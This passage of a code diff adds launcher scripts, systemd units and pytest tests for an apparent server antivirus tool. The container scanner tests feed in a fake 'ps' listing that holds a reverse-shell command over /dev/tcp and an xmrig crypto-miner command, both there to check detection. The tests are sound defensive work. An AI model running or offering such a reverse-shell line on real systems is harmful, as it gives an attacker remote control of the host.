``ayn_antivirus`` namespace. + + Example:: + + logger = get_logger("scanners.file") + # → logging.getLogger("ayn_antivirus.scanners.file") + """ + return logging.getLogger(f"ayn_antivirus.{name}") diff --git a/ayn-antivirus/bin/run-dashboard.sh b/ayn-antivirus/bin/run-dashboard.sh new file mode 100755 index 0000000..8035f4b --- /dev/null +++ b/ayn-antivirus/bin/run-dashboard.sh @@ -0,0 +1,25 @@ +#!/bin/bash +# AYN Antivirus Dashboard Launcher (for launchd/systemd) +set -euo pipefail + +SCRIPT_DIR="$(cd "$(dirname "$0")/.." && pwd)" +DATA_DIR="${AYN_DATA_DIR:-$HOME/ayn-antivirus-data}" + +mkdir -p "$DATA_DIR" "$DATA_DIR/quarantine" "$DATA_DIR/logs" + +export PYTHONPATH="$SCRIPT_DIR:${PYTHONPATH:-}" + +exec /usr/bin/python3 -c " +import os +data_dir = os.environ.get('AYN_DATA_DIR', os.path.expanduser('~/ayn-antivirus-data')) +os.makedirs(data_dir, exist_ok=True) +from ayn_antivirus.config import Config +from ayn_antivirus.dashboard.server import DashboardServer +c = Config() +c.dashboard_host = '0.0.0.0' +c.dashboard_port = 7777 +c.dashboard_db_path = os.path.join(data_dir, 'dashboard.db') +c.db_path = os.path.join(data_dir, 'signatures.db') +c.quarantine_path = os.path.join(data_dir, 'quarantine') +DashboardServer(c).run() +" diff --git a/ayn-antivirus/bin/run-scanner.sh b/ayn-antivirus/bin/run-scanner.sh new file mode 100755 index 0000000..595929e --- /dev/null +++ b/ayn-antivirus/bin/run-scanner.sh @@ -0,0 +1,25 @@ +#!/bin/bash +# AYN Antivirus Scanner Daemon Launcher (for launchd/systemd) +set -euo pipefail + +SCRIPT_DIR="$(cd "$(dirname "$0")/.." && pwd)" +DATA_DIR="${AYN_DATA_DIR:-$HOME/ayn-antivirus-data}" + +mkdir -p "$DATA_DIR" "$DATA_DIR/quarantine" "$DATA_DIR/logs" + +export PYTHONPATH="$SCRIPT_DIR:${PYTHONPATH:-}" + +exec /usr/bin/python3 -c " +import os +data_dir = os.environ.get('AYN_DATA_DIR', os.path.expanduser('~/ayn-antivirus-data')) +os.makedirs(data_dir, exist_ok=True) +from ayn_antivirus.config import Config +from ayn_antivirus.core.scheduler import Scheduler +c = Config() +c.db_path = os.path.join(data_dir, 'signatures.db') +c.quarantine_path = os.path.join(data_dir, 'quarantine') +s = Scheduler(c) +s.schedule_scan('0 0 * * *', 'full') +s.schedule_update(interval_hours=6) +s.run_daemon() +" diff --git a/ayn-antivirus/config/ayn-antivirus-dashboard.service b/ayn-antivirus/config/ayn-antivirus-dashboard.service new file mode 100644 index 0000000..0c0806b --- /dev/null +++ b/ayn-antivirus/config/ayn-antivirus-dashboard.service @@ -0,0 +1,20 @@ +[Unit] +Description=AYN Antivirus Security Dashboard +After=network-online.target +Wants=network-online.target +Documentation=https://github.com/ayn-antivirus + +[Service] +Type=simple +User=root +WorkingDirectory=/opt/ayn-antivirus +ExecStart=/opt/ayn-antivirus/bin/run-dashboard.sh +Restart=always +RestartSec=5 +Environment=PYTHONPATH=/opt/ayn-antivirus +Environment=AYN_DATA_DIR=/var/lib/ayn-antivirus +StandardOutput=journal +StandardError=journal + +[Install] +WantedBy=multi-user.target diff --git a/ayn-antivirus/config/ayn-antivirus-scanner.service b/ayn-antivirus/config/ayn-antivirus-scanner.service new file mode 100644 index 0000000..1894551 --- /dev/null +++ b/ayn-antivirus/config/ayn-antivirus-scanner.service @@ -0,0 +1,20 @@ +[Unit] +Description=AYN Antivirus Scanner Daemon +After=network-online.target +Wants=network-online.target +Documentation=https://github.com/ayn-antivirus + +[Service] +Type=simple +User=root +WorkingDirectory=/opt/ayn-antivirus +ExecStart=/opt/ayn-antivirus/bin/run-scanner.sh +Restart=always +RestartSec=10 +Environment=PYTHONPATH=/opt/ayn-antivirus +Environment=AYN_DATA_DIR=/var/lib/ayn-antivirus +StandardOutput=journal +StandardError=journal + +[Install] +WantedBy=multi-user.target diff --git a/ayn-antivirus/pyproject.toml b/ayn-antivirus/pyproject.toml new file mode 100644 index 0000000..2d8fc52 --- /dev/null +++ b/ayn-antivirus/pyproject.toml @@ -0,0 +1,45 @@ +[build-system] +requires = ["setuptools>=68.0", "wheel"] +build-backend = "setuptools.build_meta" + +[project] +name = "ayn-antivirus" +version = "1.0.0" +description = "Comprehensive server antivirus, anti-malware, anti-spyware, and anti-cryptominer tool" +requires-python = ">=3.9" +dependencies = [ + "click", + "rich", + "psutil", + "yara-python", + "requests", + "pyyaml", + "schedule", + "watchdog", + "cryptography", + "aiohttp", + "sqlite-utils", +] + +[project.scripts] +ayn-antivirus = "ayn_antivirus.cli:main" + +[tool.setuptools.packages.find] +include = ["ayn_antivirus*"] + +[project.optional-dependencies] +dev = [ + "pytest", + "pytest-cov", + "black", + "ruff", +] + +[tool.black] +line-length = 100 + +[tool.ruff] +line-length = 100 + +[tool.pytest.ini_options] +testpaths = ["tests"] diff --git a/ayn-antivirus/start-dashboard.sh b/ayn-antivirus/start-dashboard.sh new file mode 100755 index 0000000..ec62da7 --- /dev/null +++ b/ayn-antivirus/start-dashboard.sh @@ -0,0 +1,39 @@ +#!/bin/bash +# ============================================= +# ⚔️ AYN Antivirus — Dashboard Launcher +# ============================================= +set -e + +cd "$(dirname "$0")" + +# Install deps if needed +if ! python3 -c "import aiohttp" 2>/dev/null; then + echo "[*] Installing dependencies..." + pip3 install -e . 2>&1 | tail -3 +fi + +# Create data dirs +mkdir -p /var/lib/ayn-antivirus /var/log/ayn-antivirus 2>/dev/null || true + +# Get server IP +SERVER_IP=$(hostname -I 2>/dev/null | awk '{print $1}' || echo "0.0.0.0") + +echo "" +echo " ╔══════════════════════════════════════════╗" +echo " ║ ⚔️ AYN ANTIVIRUS DASHBOARD ║" +echo " ╠══════════════════════════════════════════╣" +echo " ║ 🌐 http://${SERVER_IP}:7777 " +echo " ║ 🔑 API key shown below on first start ║" +echo " ║ Press Ctrl+C to stop ║" +echo " ╚══════════════════════════════════════════╝" +echo "" + +exec python3 -c " +from ayn_antivirus.config import Config +from ayn_antivirus.dashboard.server import DashboardServer +config = Config() +config.dashboard_host = '0.0.0.0' +config.dashboard_port = 7777 +server = DashboardServer(config) +server.run() +" diff --git a/ayn-antivirus/tests/__init__.py b/ayn-antivirus/tests/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/ayn-antivirus/tests/test_cli.py b/ayn-antivirus/tests/test_cli.py new file mode 100644 index 0000000..b76d68e --- /dev/null +++ b/ayn-antivirus/tests/test_cli.py @@ -0,0 +1,88 @@ +"""Tests for CLI commands using Click CliRunner.""" +import pytest +from click.testing import CliRunner +from ayn_antivirus.cli import main + + +@pytest.fixture +def runner(): + return CliRunner() + + +def test_help(runner): + result = runner.invoke(main, ["--help"]) + assert result.exit_code == 0 + assert "AYN Antivirus" in result.output or "scan" in result.output + + +def test_version(runner): + result = runner.invoke(main, ["--version"]) + assert result.exit_code == 0 + assert "1.0.0" in result.output + + +def test_scan_help(runner): + result = runner.invoke(main, ["scan", "--help"]) + assert result.exit_code == 0 + assert "--path" in result.output + + +def test_scan_containers_help(runner): + result = runner.invoke(main, ["scan-containers", "--help"]) + assert result.exit_code == 0 + assert "--runtime" in result.output + + +def test_dashboard_help(runner): + result = runner.invoke(main, ["dashboard", "--help"]) + assert result.exit_code == 0 + assert "--port" in result.output + + +def test_status(runner): + result = runner.invoke(main, ["status"]) + assert result.exit_code == 0 + + +def test_config_show(runner): + result = runner.invoke(main, ["config", "--show"]) + assert result.exit_code == 0 + + +def test_config_set_invalid_key(runner): + result = runner.invoke(main, ["config", "--set", "evil_key", "value"]) + assert "Invalid config key" in result.output + + +def test_quarantine_list(runner): + # May fail with PermissionError on systems without /var/lib/ayn-antivirus + result = runner.invoke(main, ["quarantine", "list"]) + # Accept exit code 0 (success) or 1 (permission denied on default path) + assert result.exit_code in (0, 1) + + +def test_update_help(runner): + result = runner.invoke(main, ["update", "--help"]) + assert result.exit_code == 0 + + +def test_fix_help(runner): + result = runner.invoke(main, ["fix", "--help"]) + assert result.exit_code == 0 + assert "--dry-run" in result.output + + +def test_report_help(runner): + result = runner.invoke(main, ["report", "--help"]) + assert result.exit_code == 0 + assert "--format" in result.output + + +def test_scan_processes_runs(runner): + result = runner.invoke(main, ["scan-processes"]) + assert result.exit_code == 0 + + +def test_scan_network_runs(runner): + result = runner.invoke(main, ["scan-network"]) + assert result.exit_code == 0 diff --git a/ayn-antivirus/tests/test_config.py b/ayn-antivirus/tests/test_config.py new file mode 100644 index 0000000..3b2b0f5 --- /dev/null +++ b/ayn-antivirus/tests/test_config.py @@ -0,0 +1,88 @@ +"""Tests for configuration loading and environment overrides.""" +import pytest + +from ayn_antivirus.config import Config +from ayn_antivirus.constants import DEFAULT_DASHBOARD_HOST, DEFAULT_DASHBOARD_PORT + + +def test_default_config(): + c = Config() + assert c.dashboard_port == DEFAULT_DASHBOARD_PORT + assert c.dashboard_host == DEFAULT_DASHBOARD_HOST + assert c.auto_quarantine is False + assert c.enable_yara is True + assert c.enable_heuristics is True + assert isinstance(c.scan_paths, list) + assert isinstance(c.exclude_paths, list) + assert isinstance(c.api_keys, dict) + + +def test_config_env_port_host(monkeypatch): + monkeypatch.setenv("AYN_DASHBOARD_PORT", "9999") + monkeypatch.setenv("AYN_DASHBOARD_HOST", "127.0.0.1") + c = Config() + c._apply_env_overrides() + assert c.dashboard_port == 9999 + assert c.dashboard_host == "127.0.0.1" + + +def test_config_env_auto_quarantine(monkeypatch): + monkeypatch.setenv("AYN_AUTO_QUARANTINE", "true") + c = Config() + c._apply_env_overrides() + assert c.auto_quarantine is True + + +def test_config_scan_path_env(monkeypatch): + monkeypatch.setenv("AYN_SCAN_PATH", "/tmp,/var") + c = Config() + c._apply_env_overrides() + assert "/tmp" in c.scan_paths + assert "/var" in c.scan_paths + + +def test_config_max_file_size_env(monkeypatch): + monkeypatch.setenv("AYN_MAX_FILE_SIZE", "12345") + c = Config() + c._apply_env_overrides() + assert c.max_file_size == 12345 + + +def test_config_load_missing_file(): + """Loading from non-existent file returns defaults.""" + c = Config.load("/nonexistent/path/config.yaml") + assert c.dashboard_port == DEFAULT_DASHBOARD_PORT + assert isinstance(c.scan_paths, list) + + +def test_config_load_yaml(tmp_path): + """Loading a valid YAML config file picks up values.""" + cfg_file = tmp_path / "config.yaml" + cfg_file.write_text( + "scan_paths:\n - /opt\nauto_quarantine: true\ndashboard_port: 8888\n" + ) + c = Config.load(str(cfg_file)) + assert c.scan_paths == ["/opt"] + assert c.auto_quarantine is True + assert c.dashboard_port == 8888 + + +def test_config_env_overrides_yaml(tmp_path, monkeypatch): + """Environment variables take precedence over YAML.""" + cfg_file = tmp_path / "config.yaml" + cfg_file.write_text("dashboard_port: 1111\n") + monkeypatch.setenv("AYN_DASHBOARD_PORT", "2222") + c = Config.load(str(cfg_file)) + assert c.dashboard_port == 2222 + + +def test_all_fields_accessible(): + """Every expected config attribute exists.""" + c = Config() + for attr in [ + "scan_paths", "exclude_paths", "quarantine_path", "db_path", + "log_path", "auto_quarantine", "scan_schedule", "max_file_size", + "enable_yara", "enable_heuristics", "enable_realtime_monitor", + "dashboard_host", "dashboard_port", "dashboard_db_path", "api_keys", + ]: + assert hasattr(c, attr), f"Missing config attribute: {attr}" diff --git a/ayn-antivirus/tests/test_container_scanner.py b/ayn-antivirus/tests/test_container_scanner.py new file mode 100644 index 0000000..406ee7f --- /dev/null +++ b/ayn-antivirus/tests/test_container_scanner.py @@ -0,0 +1,405 @@ +"""Tests for the container scanner module.""" + +from __future__ import annotations + +import json +from unittest.mock import patch + +import pytest + +from ayn_antivirus.scanners.container_scanner import ( + ContainerInfo, + ContainerScanResult, + ContainerScanner, + ContainerThreat, +) + + +# --------------------------------------------------------------------------- +# Data class tests +# --------------------------------------------------------------------------- + +class TestContainerInfo: + def test_defaults(self): + ci = ContainerInfo( + container_id="abc", name="web", image="nginx", + status="running", runtime="docker", created="2026-01-01", + ) + assert ci.ports == [] + assert ci.mounts == [] + assert ci.pid == 0 + assert ci.ip_address == "" + assert ci.labels == {} + + def test_to_dict(self): + ci = ContainerInfo( + container_id="abc", name="web", image="nginx:1.25", + status="running", runtime="docker", created="2026-01-01", + ports=["80:80"], mounts=["/data"], pid=42, + ip_address="10.0.0.2", labels={"env": "prod"}, + ) + d = ci.to_dict() + assert d["container_id"] == "abc" + assert d["ports"] == ["80:80"] + assert d["labels"] == {"env": "prod"} + + +class TestContainerThreat: + def test_to_dict(self): + ct = ContainerThreat( + container_id="abc", container_name="web", runtime="docker", + threat_name="Miner.X", threat_type="miner", + severity="CRITICAL", details="found xmrig", + ) + d = ct.to_dict() + assert d["threat_name"] == "Miner.X" + assert d["severity"] == "CRITICAL" + assert len(d["timestamp"]) == 19 + + def test_optional_fields(self): + ct = ContainerThreat( + container_id="x", container_name="y", runtime="podman", + threat_name="T", threat_type="malware", severity="HIGH", + details="d", file_path="/tmp/bad", process_name="evil", + ) + d = ct.to_dict() + assert d["file_path"] == "/tmp/bad" + assert d["process_name"] == "evil" + + +class TestContainerScanResult: + def test_empty_is_clean(self): + r = ContainerScanResult(scan_id="t", start_time="2026-01-01 00:00:00") + assert r.is_clean is True + assert r.duration_seconds == 0.0 + + def test_with_threats(self): + ct = ContainerThreat( + container_id="a", container_name="b", runtime="docker", + threat_name="T", threat_type="miner", severity="HIGH", + details="d", + ) + r = ContainerScanResult( + scan_id="t", + start_time="2026-01-01 00:00:00", + end_time="2026-01-01 00:00:10", + threats=[ct], + ) + assert r.is_clean is False + assert r.duration_seconds == 10.0 + + def test_to_dict(self): + r = ContainerScanResult( + scan_id="t", + start_time="2026-01-01 00:00:00", + end_time="2026-01-01 00:00:03", + containers_found=2, + containers_scanned=1, + errors=["oops"], + ) + d = r.to_dict() + assert d["threats_found"] == 0 + assert d["duration_seconds"] == 3.0 + assert d["errors"] == ["oops"] + + +# --------------------------------------------------------------------------- +# Scanner tests +# --------------------------------------------------------------------------- + +class TestContainerScanner: + def test_properties(self): + s = ContainerScanner() + assert s.name == "container_scanner" + assert "Docker" in s.description + assert isinstance(s.available_runtimes, list) + + def test_no_runtimes_graceful(self): + """With no runtimes installed scan returns an error, not an exception.""" + s = ContainerScanner() + s._available_runtimes = [] + s._docker_cmd = None + s._podman_cmd = None + s._lxc_cmd = None + r = s.scan("all") + assert isinstance(r, ContainerScanResult) + assert r.containers_found == 0 + assert len(r.errors) == 1 + assert "No container runtimes" in r.errors[0] + + def test_scan_returns_result(self): + s = ContainerScanner() + r = s.scan("all") + assert isinstance(r, ContainerScanResult) + assert r.scan_id + assert r.start_time + assert r.end_time + + def test_scan_container_delegates(self): + s = ContainerScanner() + s._available_runtimes = [] + r = s.scan_container("some-id") + assert isinstance(r, ContainerScanResult) + + def test_run_cmd_timeout(self): + _, stderr, rc = ContainerScanner._run_cmd(["sleep", "10"], timeout=1) + assert rc == -1 + assert "timed out" in stderr.lower() + + def test_run_cmd_not_found(self): + _, stderr, rc = ContainerScanner._run_cmd( + ["this_command_does_not_exist_xyz"], + ) + assert rc == -1 + assert "not found" in stderr.lower() or "No such file" in stderr + + def test_find_command(self): + # python3 should exist everywhere + assert ContainerScanner._find_command("python3") is not None + assert ContainerScanner._find_command("no_such_binary_xyz") is None + + +# --------------------------------------------------------------------------- +# Mock-based integration tests +# --------------------------------------------------------------------------- + +class TestDockerParsing: + """Test Docker output parsing with mocked subprocess calls.""" + + def _make_scanner(self): + s = ContainerScanner() + s._docker_cmd = "/usr/bin/docker" + s._available_runtimes = ["docker"] + return s + + def test_list_docker_parses_output(self): + ps_output = ( + "abc123456789\tweb\tnginx:1.25\tUp 2 hours\t" + "2026-01-01 00:00:00\t0.0.0.0:80->80/tcp" + ) + inspect_output = json.dumps([{ + "State": {"Pid": 42}, + "NetworkSettings": {"Networks": {"bridge": {"IPAddress": "172.17.0.2"}}}, + "Mounts": [{"Source": "/data"}], + "Config": {"Labels": {"app": "web"}}, + }]) + s = self._make_scanner() + with patch.object(s, "_run_cmd") as mock_run: + mock_run.side_effect = [ + (ps_output, "", 0), # docker ps + (inspect_output, "", 0), # docker inspect + ] + containers = s._list_docker() + + assert len(containers) == 1 + c = containers[0] + assert c.name == "web" + assert c.image == "nginx:1.25" + assert c.status == "running" + assert c.runtime == "docker" + assert c.pid == 42 + assert c.ip_address == "172.17.0.2" + assert "/data" in c.mounts + assert c.labels == {"app": "web"} + + def test_list_docker_ps_failure(self): + s = self._make_scanner() + with patch.object(s, "_run_cmd", return_value=("", "error", 1)): + assert s._list_docker() == [] + + def test_inspect_docker_bad_json(self): + s = self._make_scanner() + with patch.object(s, "_run_cmd", return_value=("not json", "", 0)): + assert s._inspect_docker("abc") == {} + + +class TestPodmanParsing: + def test_list_podman_parses_json(self): + s = ContainerScanner() + s._podman_cmd = "/usr/bin/podman" + s._available_runtimes = ["podman"] + podman_output = json.dumps([{ + "Id": "def456789012abcdef", + "Names": ["db"], + "Image": "postgres:16", + "State": "running", + "Created": "2026-01-01", + "Ports": [{"hostPort": 5432, "containerPort": 5432}], + "Pid": 99, + "Labels": {}, + }]) + with patch.object(s, "_run_cmd", return_value=(podman_output, "", 0)): + containers = s._list_podman() + assert len(containers) == 1 + assert containers[0].name == "db" + assert containers[0].runtime == "podman" + assert containers[0].pid == 99 + + +class TestLXCParsing: + def test_list_lxc_parses_output(self): + s = ContainerScanner() + s._lxc_cmd = "/usr/bin/lxc-ls" + s._available_runtimes = ["lxc"] + lxc_output = "NAME STATE IPV4 PID\ntest1 RUNNING 10.0.3.5 1234" + with patch.object(s, "_run_cmd", return_value=(lxc_output, "", 0)): + containers = s._list_lxc() + assert len(containers) == 1 + assert containers[0].name == "test1" + assert containers[0].status == "running" + assert containers[0].ip_address == "10.0.3.5" + assert containers[0].pid == 1234 + + +class TestMisconfigDetection: + """Test misconfiguration detection with mocked inspect output.""" + + def _scan_misconfig(self, inspect_data): + s = ContainerScanner() + s._docker_cmd = "/usr/bin/docker" + ci = ContainerInfo( + container_id="abc", name="test", image="img", + status="running", runtime="docker", created="", + ) + with patch.object(s, "_run_cmd", return_value=(json.dumps([inspect_data]), "", 0)): + return s._check_misconfigurations(ci) + + def test_privileged_mode(self): + threats = self._scan_misconfig({ + "HostConfig": {"Privileged": True}, + "Config": {"User": "app"}, + }) + names = [t.threat_name for t in threats] + assert "PrivilegedMode.Container" in names + + def test_root_user(self): + threats = self._scan_misconfig({ + "HostConfig": {}, + "Config": {"User": ""}, + }) + names = [t.threat_name for t in threats] + assert "RunAsRoot.Container" in names + + def test_host_network(self): + threats = self._scan_misconfig({ + "HostConfig": {"NetworkMode": "host"}, + "Config": {"User": "app"}, + }) + names = [t.threat_name for t in threats] + assert "HostNetwork.Container" in names + + def test_host_pid(self): + threats = self._scan_misconfig({ + "HostConfig": {"PidMode": "host"}, + "Config": {"User": "app"}, + }) + names = [t.threat_name for t in threats] + assert "HostPID.Container" in names + + def test_dangerous_caps(self): + threats = self._scan_misconfig({ + "HostConfig": {"CapAdd": ["SYS_ADMIN", "NET_RAW"]}, + "Config": {"User": "app"}, + }) + names = [t.threat_name for t in threats] + assert "DangerousCap.Container.SYS_ADMIN" in names + assert "DangerousCap.Container.NET_RAW" in names + + def test_sensitive_mount(self): + threats = self._scan_misconfig({ + "HostConfig": {}, + "Config": {"User": "app"}, + "Mounts": [{"Source": "/var/run/docker.sock", "Destination": "/var/run/docker.sock"}], + }) + names = [t.threat_name for t in threats] + assert "SensitiveMount.Container" in names + + def test_no_resource_limits(self): + threats = self._scan_misconfig({ + "HostConfig": {"Memory": 0, "CpuQuota": 0}, + "Config": {"User": "app"}, + }) + names = [t.threat_name for t in threats] + assert "NoResourceLimits.Container" in names + + def test_security_disabled(self): + threats = self._scan_misconfig({ + "HostConfig": {"SecurityOpt": ["seccomp=unconfined"]}, + "Config": {"User": "app"}, + }) + names = [t.threat_name for t in threats] + assert "SecurityDisabled.Container" in names + + def test_clean_config(self): + threats = self._scan_misconfig({ + "HostConfig": {"Memory": 512000000, "CpuQuota": 50000}, + "Config": {"User": "app"}, + }) + # Should have no misconfig threats + assert len(threats) == 0 + + +class TestImageCheck: + def test_latest_tag(self): + ci = ContainerInfo( + container_id="a", name="b", image="nginx:latest", + status="running", runtime="docker", created="", + ) + threats = ContainerScanner._check_image(ci) + assert any("LatestTag" in t.threat_name for t in threats) + + def test_no_tag(self): + ci = ContainerInfo( + container_id="a", name="b", image="nginx", + status="running", runtime="docker", created="", + ) + threats = ContainerScanner._check_image(ci) + assert any("LatestTag" in t.threat_name for t in threats) + + def test_pinned_tag(self): + ci = ContainerInfo( + container_id="a", name="b", image="nginx:1.25.3", + status="running", runtime="docker", created="", + ) + threats = ContainerScanner._check_image(ci) + assert len(threats) == 0 + + +class TestProcessDetection: + def _make_scanner_and_container(self): + s = ContainerScanner() + s._docker_cmd = "/usr/bin/docker" + ci = ContainerInfo( + container_id="abc", name="test", image="img", + status="running", runtime="docker", created="", + ) + return s, ci + + def test_miner_detected(self): + s, ci = self._make_scanner_and_container() + ps_output = ( + "USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND\n" + "root 1 95.0 8.0 123456 65432 ? Sl 00:00 1:23 /usr/bin/xmrig --pool pool.example.com" + ) + with patch.object(s, "_run_cmd", return_value=(ps_output, "", 0)): + threats = s._check_processes(ci) + names = [t.threat_name for t in threats] + assert any("CryptoMiner" in n for n in names) + + def test_reverse_shell_detected(self): + s, ci = self._make_scanner_and_container() + ps_output = ( + "USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND\n" + "root 1 0.1 0.0 1234 432 ? S 00:00 0:00 bash -i >& /dev/tcp/10.0.0.1/4444 0>&1" + ) + with patch.object(s, "_run_cmd", return_value=(ps_output, "", 0)): + threats = s._check_processes(ci) + names = [t.threat_name for t in threats] + assert any("ReverseShell" in n for n in names) + + def test_stopped_container_skipped(self): + s, ci = self._make_scanner_and_container() + ci.status = "stopped" + # _get_exec_prefix returns None for stopped containers + threats = s._check_processes(ci) + assert threats == [] diff --git a/ayn-antivirus/tests/test_dashboard_api.py b/ayn-antivirus/tests/test_dashboard_api.py new file mode 100644 index 0000000..f255917 --- /dev/null +++ b/ayn-antivirus/tests/test_dashboard_api.py @@ -0,0 +1,119 @@ +"""Tests for dashboard API endpoints.""" +import pytest +from aiohttp import web +from ayn_antivirus.dashboard.api import setup_routes, _safe_int +from ayn_antivirus.dashboard.store import DashboardStore +from ayn_antivirus.dashboard.collector import MetricsCollector + + +@pytest.fixture +def store(tmp_path): + s = DashboardStore(str(tmp_path / "test_api.db")) + yield s + s.close() + + +@pytest.fixture +def app(store, tmp_path): + application = web.Application() + application["store"] = store + application["collector"] = MetricsCollector(store, interval=9999) + from ayn_antivirus.config import Config + cfg = Config() + cfg.db_path = str(tmp_path / "sigs.db") + application["config"] = cfg + setup_routes(application) + return application + + +# ------------------------------------------------------------------ +# _safe_int unit tests +# ------------------------------------------------------------------ + +def test_safe_int_valid(): + assert _safe_int("50", 10) == 50 + assert _safe_int("0", 10, min_val=1) == 1 + assert _safe_int("9999", 10, max_val=100) == 100 + + +def test_safe_int_invalid(): + assert _safe_int("abc", 10) == 10 + assert _safe_int("", 10) == 10 + assert _safe_int(None, 10) == 10 + + +# ------------------------------------------------------------------ +# API endpoint tests (async, require aiohttp_client) +# ------------------------------------------------------------------ + +@pytest.mark.asyncio +async def test_health_endpoint(app, aiohttp_client): + client = await aiohttp_client(app) + resp = await client.get("/api/health") + assert resp.status == 200 + data = await resp.json() + assert "cpu_percent" in data + + +@pytest.mark.asyncio +async def test_status_endpoint(app, aiohttp_client): + client = await aiohttp_client(app) + resp = await client.get("/api/status") + assert resp.status == 200 + data = await resp.json() + assert "hostname" in data + + +@pytest.mark.asyncio +async def test_threats_endpoint(app, store, aiohttp_client): + store.record_threat("/tmp/evil", "TestVirus", "malware", "HIGH") + client = await aiohttp_client(app) + resp = await client.get("/api/threats") + assert resp.status == 200 + data = await resp.json() + assert data["count"] >= 1 + + +@pytest.mark.asyncio +async def test_scans_endpoint(app, store, aiohttp_client): + store.record_scan("quick", "/tmp", 100, 5, 0, 2.5) + client = await aiohttp_client(app) + resp = await client.get("/api/scans") + assert resp.status == 200 + data = await resp.json() + assert data["count"] >= 1 + + +@pytest.mark.asyncio +async def test_logs_endpoint(app, store, aiohttp_client): + store.log_activity("Test log", "INFO", "test") + client = await aiohttp_client(app) + resp = await client.get("/api/logs") + assert resp.status == 200 + data = await resp.json() + assert data["count"] >= 1 + + +@pytest.mark.asyncio +async def test_containers_endpoint(app, aiohttp_client): + client = await aiohttp_client(app) + resp = await client.get("/api/containers") + assert resp.status == 200 + data = await resp.json() + assert "runtimes" in data + + +@pytest.mark.asyncio +async def test_definitions_endpoint(app, aiohttp_client): + client = await aiohttp_client(app) + resp = await client.get("/api/definitions") + assert resp.status == 200 + data = await resp.json() + assert "total_hashes" in data + + +@pytest.mark.asyncio +async def test_invalid_query_params(app, aiohttp_client): + client = await aiohttp_client(app) + resp = await client.get("/api/threats?limit=abc") + assert resp.status == 200 # Should not crash, uses default diff --git a/ayn-antivirus/tests/test_dashboard_store.py b/ayn-antivirus/tests/test_dashboard_store.py new file mode 100644 index 0000000..2be3e25 --- /dev/null +++ b/ayn-antivirus/tests/test_dashboard_store.py @@ -0,0 +1,148 @@ +"""Tests for dashboard store.""" +import threading + +import pytest + +from ayn_antivirus.dashboard.store import DashboardStore + + +@pytest.fixture +def store(tmp_path): + s = DashboardStore(str(tmp_path / "test_dashboard.db")) + yield s + s.close() + + +def test_record_and_get_metrics(store): + store.record_metric( + cpu=50.0, mem_pct=60.0, mem_used=4000, mem_total=8000, + disk_usage=[{"mount": "/", "percent": 50}], + load_avg=[1.0, 0.5, 0.3], net_conns=10, + ) + latest = store.get_latest_metrics() + assert latest is not None + assert latest["cpu_percent"] == 50.0 + assert latest["mem_percent"] == 60.0 + assert latest["disk_usage"] == [{"mount": "/", "percent": 50}] + assert latest["load_avg"] == [1.0, 0.5, 0.3] + + +def test_record_and_get_threats(store): + store.record_threat( + "/tmp/evil", "TestVirus", "malware", "HIGH", + "test_det", "abc", "quarantined", "test detail", + ) + threats = store.get_recent_threats(10) + assert len(threats) == 1 + assert threats[0]["threat_name"] == "TestVirus" + assert threats[0]["action_taken"] == "quarantined" + + +def test_threat_stats(store): + store.record_threat("/a", "V1", "malware", "CRITICAL", "d", "", "detected", "") + store.record_threat("/b", "V2", "miner", "HIGH", "d", "", "killed", "") + store.record_threat("/c", "V3", "spyware", "MEDIUM", "d", "", "detected", "") + stats = store.get_threat_stats() + assert stats["total"] == 3 + assert stats["by_severity"]["CRITICAL"] == 1 + assert stats["by_severity"]["HIGH"] == 1 + assert stats["by_severity"]["MEDIUM"] == 1 + assert stats["last_24h"] == 3 + assert stats["last_7d"] == 3 + + +def test_record_and_get_scans(store): + store.record_scan("full", "/", 1000, 50, 2, 10.5) + scans = store.get_recent_scans(10) + assert len(scans) == 1 + assert scans[0]["files_scanned"] == 1000 + assert scans[0]["scan_type"] == "full" + assert scans[0]["status"] == "completed" + + +def test_scan_chart_data(store): + store.record_scan("full", "/", 100, 5, 1, 5.0) + data = store.get_scan_chart_data(30) + assert len(data) >= 1 + row = data[0] + assert "day" in row + assert "scans" in row + assert "threats" in row + + +def test_sig_updates(store): + store.record_sig_update("malwarebazaar", hashes=100, ips=50, domains=20, urls=10) + updates = store.get_recent_sig_updates(10) + assert len(updates) == 1 + assert updates[0]["feed_name"] == "malwarebazaar" + stats = store.get_sig_stats() + assert stats["total_hashes"] == 100 + assert stats["total_ips"] == 50 + assert stats["total_domains"] == 20 + assert stats["total_urls"] == 10 + + +def test_activity_log(store): + store.log_activity("Test message", "INFO", "test") + logs = store.get_recent_logs(10) + assert len(logs) == 1 + assert logs[0]["message"] == "Test message" + assert logs[0]["level"] == "INFO" + assert logs[0]["source"] == "test" + + +def test_metrics_history(store): + store.record_metric( + cpu=10, mem_pct=20, mem_used=1000, mem_total=8000, + disk_usage=[], load_avg=[0.1], net_conns=5, + ) + store.record_metric( + cpu=20, mem_pct=30, mem_used=2000, mem_total=8000, + disk_usage=[], load_avg=[0.2], net_conns=10, + ) + history = store.get_metrics_history(hours=1) + assert len(history) == 2 + assert history[0]["cpu_percent"] == 10 + assert history[1]["cpu_percent"] == 20 + + +def test_cleanup_retains_fresh(store): + """Cleanup with 0 hours should not delete just-inserted metrics.""" + store.record_metric( + cpu=10, mem_pct=20, mem_used=1000, mem_total=8000, + disk_usage=[], load_avg=[], net_conns=0, + ) + store.cleanup_old_metrics(hours=0) + assert store.get_latest_metrics() is not None + + +def test_empty_store_returns_none(store): + """Empty store returns None / empty lists gracefully.""" + assert store.get_latest_metrics() is None + assert store.get_recent_threats(10) == [] + assert store.get_recent_scans(10) == [] + assert store.get_recent_logs(10) == [] + stats = store.get_threat_stats() + assert stats["total"] == 0 + + +def test_thread_safety(store): + """Concurrent writes from multiple threads should not crash.""" + errors = [] + + def writer(n): + try: + for i in range(10): + store.record_metric( + cpu=float(n * 10 + i), mem_pct=50, mem_used=4000, + mem_total=8000, disk_usage=[], load_avg=[], net_conns=0, + ) + except Exception as e: + errors.append(e) + + threads = [threading.Thread(target=writer, args=(i,)) for i in range(5)] + for t in threads: + t.start() + for t in threads: + t.join() + assert len(errors) == 0 diff --git a/ayn-antivirus/tests/test_detectors.py b/ayn-antivirus/tests/test_detectors.py new file mode 100644 index 0000000..dde6200 --- /dev/null +++ b/ayn-antivirus/tests/test_detectors.py @@ -0,0 +1,48 @@ +import os +import tempfile +import pytest + +def test_heuristic_detector_import(): + from ayn_antivirus.detectors.heuristic_detector import HeuristicDetector + detector = HeuristicDetector() + assert detector is not None + +def 